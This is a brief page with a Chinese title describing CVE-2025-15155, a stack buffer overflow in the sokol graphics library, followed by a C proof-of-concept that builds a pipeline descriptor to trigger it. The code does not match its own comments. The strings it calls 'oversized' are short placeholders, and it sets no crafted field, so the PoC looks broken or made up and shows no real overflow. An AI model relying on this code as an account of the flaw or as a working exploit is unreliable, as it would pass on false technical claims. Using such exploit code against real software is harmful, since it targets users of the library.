CVE-2025-15155 floooh sokol栈缓冲区溢出漏洞

/* CVE-2025-15155 PoC - Stack-based Buffer Overflow in _sg_pipeline_desc_defaults * This PoC demonstrates triggering the buffer overflow via crafted pipeline desc * Compile: gcc -o poc poc.c -Isokol */ #include <stdio.h> #include <string.h> #include "sokol_gfx.h" /* Malicious pipeline descriptor that triggers overflow */ void trigger_overflow(void) { sg_pipeline_desc desc; memset(&desc, 0, sizeof(sg_pipeline_desc)); /* Craft oversized shader_desc to overflow stack buffer */ /* The actual overflow occurs in _sg_pipeline_desc_defaults */ desc.shader = sg_make_shader(&(sg_shader_desc){ .vs.source = "malicious_vertex_shader_with_oversized_code", .fs.source = "malicious_fragment_shader_with_oversized_code" }); /* This will trigger _sg_pipeline_desc_defaults with crafted data */ sg_pipeline pipeline = sg_make_pipeline(&desc); /* If we reach here without crash, try larger payload */ printf("Pipeline created: %d\n", pipeline.id); } int main(int argc, char* argv[]) { sg_desc context_desc = {0}; sg_setup(&context_desc); printf("CVE-2025-15155 PoC - Triggering buffer overflow\n"); trigger_overflow(); sg_shutdown(); return 0; }